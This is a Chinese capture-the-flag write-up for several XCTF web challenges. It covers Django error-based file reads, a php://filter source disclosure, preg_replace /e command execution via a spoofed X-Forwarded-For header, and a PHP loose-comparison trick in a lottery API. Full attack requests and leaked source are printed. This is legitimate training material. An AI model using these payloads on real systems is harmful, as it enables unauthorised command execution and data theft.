攻防世界(XCTF)WEB(进阶区)write up(一)
cat
ics-05
ics-06
lottery
Cat
XCTF 4th-WHCTF-2017
输入域名 输入普通域名无果 输入127.0.0.1返回了ping码的结果 有可能是命令执行
尝试fuzz命令执行 特殊符号
看了wp涨了点姿势 %80之后的url编码)就可以返回Django报错
%80后的字符结合报错信息UnicodeEncodeError
可以推断是由于ascii编码不支持导致的报错,根据报错信息可以得到的信息
里面可以得到项目路径opt/api/
setting.py 配置文件在opt/api/api/下 套一层名为项目名的文件夹下 默认配置为数据库是sqlites
网站是使用Django进行开发的,结合PHP可以通过在参数中注入@来读取文件的漏洞,依次查看python的配置文件和数据库得到flag的内容
使用@进行文件传递,对文件进行读取之后还会把内容传给url参数,如果像上面一样有超出解析范围的编码的时候就会得到错误信息。
我们的目标首先是数据库文件,看从错误信息中能不能拿到flag,可以从配置文件settings.py的报错中看看有没有database的相关信息
- ?url=@/opt/api/api/settings.py
报错内容搜索database可以得到:
- ?url=@/opt/api/database.sqlite3
获取数据库内容
ics-05
眼花缭乱的 题目描述:其他破坏者会利用工控云管理系统设备维护中心的后门入侵系统
http://111.198.29.45:56033/index.php?page=index
url中有参数拼接 fuzz下 发现是支持伪协议 读了源码
- ?page=php://filter/convert.base64-encode/resource=index.php
- //方便的实现输入输出的功能,正在开发中的功能,只能内部人员测试
- if ($_SERVER['HTTP_X_FORWARDED_FOR'] === '127.0.0.1') {
- echo "<br >Welcome My Admin ! <br >";
- $pattern = $_GET[pat];
- $replacement = $_GET[rep];
- $subject = $_GET[sub];
- if (isset($pattern) && isset($replacement) && isset($subject)) {
- preg_replace($pattern, $replacement, $subject);
- }else{
- die();
- }
- }
需要将X_FORWARDED_FOR设置为127.0.0.1,get传参方式 ‘pattern’ ,’ replacement’,‘subject’ 三个参数传递给preg_replace函数。
preg_replce e模式会命令执行,进行替换的部分会被执行
- GET /index.php?pat=/(.*)/e&rep=system(%27ls%27)&sub=a HTTP/1.1
- Host: 111.198.29.45:56033
- User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0
- Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
- Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
- Accept-Encoding: gzip, deflate
- X-FORWARDED-FOR:127.0.0.1
- Cookie: PHPSESSID=sse21lut43grltrqpm15c3u1k0
- Connection: close
- Upgrade-Insecure-Requests: 1
最后发现flag :
- GET /index.php?pat=/(.*)/e&rep=system(%27cat+s3chahahaDir/flag/flag.php%27)&sub=a HTTP/1.1
- Host: 111.198.29.45:56033
- User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0
- Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
- Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
- Accept-Encoding: gzip, deflate
- X-FORWARDED-FOR:127.0.0.1
- Cookie: PHPSESSID=sse21lut43grltrqpm15c3u1k0
- Connection: close
- Upgrade-Insecure-Requests: 1
ics-06
题目描述:云平台报表中心收集了设备管理基础服务的数据,但是数据被删除了,只有一处留下了入侵者的痕迹。
- http://111.198.29.45:58786/index.php?id=1
本来以为是注入 没成功
说是有一处留下了痕迹 就遍历下id 2333时flag (之前fuzz了很久)
lottery
这个题稍微有意思点。
先测试了一下,注册用户,购买彩票,拿到足够的钱,购买flag。
然后扫了下目录 发现git泄露
api.php:
- <?php
- require_once('config.php');
- header('Content-Type: application/json');
- function response($resp){
- die(json_encode($resp));
- }
- function response_error($msg){
- $result = ['status'=>'error'];
- $result['msg'] = $msg;
- response($result);
- }
- function require_keys($req, $keys){
- foreach ($keys as $key) {
- if(!array_key_exists($key, $req)){
- response_error('invalid request');
- }
- }
- }
- function require_registered(){
- if(!isset($_SESSION['name']) || !isset($_SESSION['money'])){
- response_error('register first');
- }
- }
- function require_min_money($min_money){
- if(!isset($_SESSION['money'])){
- response_error('register first');
- }
- $money = $_SESSION['money'];
- if($money < 0){
- $_SESSION = array();
- session_destroy();
- response_error('invalid negative money');
- }
- if($money < $min_money){
- response_error('you don\' have enough money');
- }
- }
- if($_SERVER["REQUEST_METHOD"] != 'POST' || !isset($_SERVER["CONTENT_TYPE"]) || $_SERVER["CONTENT_TYPE"] != 'application/json'){
- response_error('please post json data');
- }
- $data = json_decode(file_get_contents('php://input'), true);
- if(json_last_error() != JSON_ERROR_NONE){
- response_error('invalid json');
- }
- require_keys($data, ['action']);
- // my boss told me to use cryptographically secure algorithm
- function random_num(){
- do {
- $byte = openssl_random_pseudo_bytes(10, $cstrong);
- $num = ord($byte);
- } while ($num >= 250);
- if(!$cstrong){
- response_error('server need be checked, tell admin');
- }
- $num /= 25;
- return strval(floor($num));
- }
- function random_win_nums(){
- $result = '';
- for($i=0; $i<7; $i++){
- $result .= random_num();
- }
- return $result;
- }
- function buy($req){
- require_registered();
- require_min_money(2);
- $money = $_SESSION['money'];
- $numbers = $req['numbers'];
- $win_numbers = random_win_nums();
- $same_count = 0;
- for($i=0; $i<7; $i++){
- if($numbers[$i] == $win_numbers[$i]){
- $same_count++;
- }
- }
- switch ($same_count) {
- case 2:
- $prize = 5;
- break;
- case 3:
- $prize = 20;
- break;
- case 4:
- $prize = 300;
- break;
- case 5:
- $prize = 1800;
- break;
- case 6:
- $prize = 200000;
- break;
- case 7:
- $prize = 5000000;
- break;
- default:
- $prize = 0;
- break;
- }
- $money += $prize - 2;
- $_SESSION['money'] = $money;
- response(['status'=>'ok','numbers'=>$numbers, 'win_numbers'=>$win_numbers, 'money'=>$money, 'prize'=>$prize]);
- }
- function flag($req){
- global $flag;
- global $flag_price;
- require_registered();
- $money = $_SESSION['money'];
- if($money < $flag_price){
- response_error('you don\' have enough money');
- } else {
- $money -= $flag_price;
- $_SESSION['money'] = $money;
- $msg = 'Here is your flag: ' . $flag;
- response(['status'=>'ok','msg'=>$msg, 'money'=>$money]);
- }
- }
- function register($req){
- $name = $req['name'];
- $_SESSION['name'] = $name;
- $_SESSION['money'] = 20;
- response(['status'=>'ok']);
- }
- switch ($data['action']) {
- case 'buy':
- require_keys($data, ['numbers']);
- buy($data);
- break;
- case 'flag':
- flag($data);
- break;
- case 'register':
- require_keys($data, ['name']);
- register($data);
- break;
- default:
- response_error('invalid request');
- break;
- }
重点部分:
- function buy($req){
- require_registered();
- require_min_money(2);
- $money = $_SESSION['money'];
- $numbers = $req['numbers'];
- $win_numbers = random_win_nums();
- $same_count = 0;
- for($i=0; $i<7; $i++){
- if($numbers[$i] == $win_numbers[$i]){
- $same_count++;
- }
- }
- switch ($same_count) {
- case 2:
- $prize = 5;
- break;
- case 3:
- $prize = 20;
- break;
- case 4:
- $prize = 300;
- break;
- case 5:
- $prize = 1800;
- break;
- case 6:
- $prize = 200000;
- break;
- case 7:
- $prize = 5000000;
- break;
- default:
- $prize = 0;
- break;
- }
- $money += $prize - 2;
- $_SESSION['money'] = $money;
- response(['status'=>'ok','numbers'=>$numbers, 'win_numbers'=>$win_numbers, 'money'=>$money, 'prize'=>$prize]);
- }
其中 $numbers 来自用户json输入 {"action":"buy","numbers":"11111111"},没有检查数据类型。 $win_numbers 是随机生成的数字字符串。
使用 PHP 弱类型松散比较,以"1"为例,和TRUE,1,"1"相等。 由于 json 支持布尔型数据,因此可以抓包改包,构造数据:
- POST /api.php HTTP/1.1
- Host: 111.198.29.45:51029
- User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0
- Accept: application/json, text/javascript, */*; q=0.01
- Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
- Accept-Encoding: gzip, deflate
- Content-Type: application/json
- X-Requested-With: XMLHttpRequest
- Referer: http://111.198.29.45:51029/buy.php
- Content-Length: 36
- Cookie: PHPSESSID=3cb7bb982831ce7bcf4219a605214be5
- Connection: close
- {"action":"buy","numbers":"1111111"}
得到5000000,再来一次就是10000000,可以购买flag了
攻防世界(XCTF)WEB(进阶区)write up(一)的更多相关文章
- 攻防世界(XCTF)WEB(进阶区)write up(四)
ics-07 Web_php_include Zhuanxv Web_python_template_injection ics-07 题前半部分是php弱类型 这段说当传入的id值浮点值不能为1 ...
- 攻防世界(XCTF)WEB(进阶区)write up(三)
挑着做一些好玩的ctf题 FlatScience web2 unserialize3upload1wtf.sh-150ics-04web i-got-id-200 FlatScience 扫出来的lo ...
- 攻防世界(XCTF)WEB(进阶区)write up(二)
国庆就要莫得了 起床刷几道 NewsCenter mfw Training-WWW-Robots NaNNaNNaNNaN-Batman bug NewsCenter search传参那里发现有注 ...
- 攻防世界 ctf web进阶区 unserialize
进入到题目的界面,看到以下源码 构造payload=?code=O:4:"xctf":1:{s:4:"flag";s:3:"111";} 结 ...
- 【攻防世界】 高手进阶区 Recho WP
0x00 考察点 考察点有三个: ROP链构造 Got表劫持 pwntools的shutdown功能 0x01 程序分析 上来三板斧 file一下 checksec --file XXX chmod ...
- 攻防世界-web-高手进阶区018-easytornado
1.查看主页面 2.查看其他页面,/welcome.txt http://111.198.29.45:39004/file?filename=/welcome.txt&filehash=9ae ...
- 攻防世界-Crypto高手进阶区部分Writeup
1.flag_in_your_hand && flag_in_your_hand1 下载,解压后 打开index文件,直接点击get flag错误,输入其他点击也同样 打开js文件,在 ...
- 攻防世界-WEB-新手练习区
附:|>>>攻防世界-WEB-高手进阶区<<<|
- 攻防世界 Misc 新手练习区 stegano CONFidence-DS-CTF-Teaser Writeup
攻防世界 Misc 新手练习区 stegano CONFidence-DS-CTF-Teaser Writeup 题目介绍 题目考点 隐写术 摩斯密码 Writeup 下载附件是PDF文件打开,研究一 ...
随机推荐
- Docker入门到实践——简单操作
1.对比传统虚拟机总结 特性 容器 虚拟机 启动 秒级 分钟级 硬盘使用 一般为MB 一般为GB 性能 接近原生 弱于 系统支持量 单机支持上千个容器 一般几十个 2.基本概念 Docker包括三个基 ...
- Android studio初次安装启动时弹出unable to access android sdk add-on list提示的解决方法
一.问题描述 初次安装Android Studio,启动后,报错如下: unable to access android sdk add-on lis 如图: 二.原因分析 AS启动后,会在默认路径下 ...
- python实现经典算法
1,快速排序 题目形式:手写一下快速排序算法. 题目难度:中等. 出现概率:约50%.手写快排绝对是手撕代码面试题中的百兽之王,掌握了它就是送分题,没有掌握它就是送命题. 参考代码: def quic ...
- Spring——依赖注入(DI)详解
声明:本博客仅仅是一个初学者的学习记录.心得总结,其中肯定有许多错误,不具有参考价值,欢迎大佬指正,谢谢!想和我交流.一起学习.一起进步的朋友可以加我微信Liu__66666666 这是简单学习一遍之 ...
- (七十二)c#Winform自定义控件-雷达图
前提 入行已经7,8年了,一直想做一套漂亮点的自定义控件,于是就有了本系列文章. GitHub:https://github.com/kwwwvagaa/NetWinformControl 码云:ht ...
- MAC中Composer的使用
安装composer 安装前需确保系统PHP版本在5.3以上,在终端中执行以下命令下载Composer可执行文件: curl -sS https://getcomposer.org/installer ...
- JAVA设计模式-动态代理(Proxy)源码分析
在文章:JAVA设计模式-动态代理(Proxy)示例及说明中,为动态代理设计模式举了一个小小的例子,那么这篇文章就来分析一下源码的实现. 一,Proxy.newProxyInstance方法 @Cal ...
- 用.NET做动态域名解析
用.NET做动态域名解析 动态域名解析,或DNSR,通常用于解析IP地址经常变化的域名.电信网络提供了公网IP,给广大程序员远程办公.内容分享等方面带来了极大的便利.但公网IP是动态的,它会经常变化, ...
- 搭建大数据开发环境-Hadoop篇
前期准备 操作系统 hadoop目前对linux操作系统支持是最好的,可以部署2000个节点的服务器集群:在hadoop2.2以后,开始支持windows操作系统,但是兼容性没有linux好.因此,建 ...
- Janus安装教程,ubuntu18.04系统
Janus安装教程,ubuntu18.04系统 本文介绍Jansu如何安装,操作系统为Ubuntu 18.04. (1)安装git 执行命令:“sudo apt-get install ...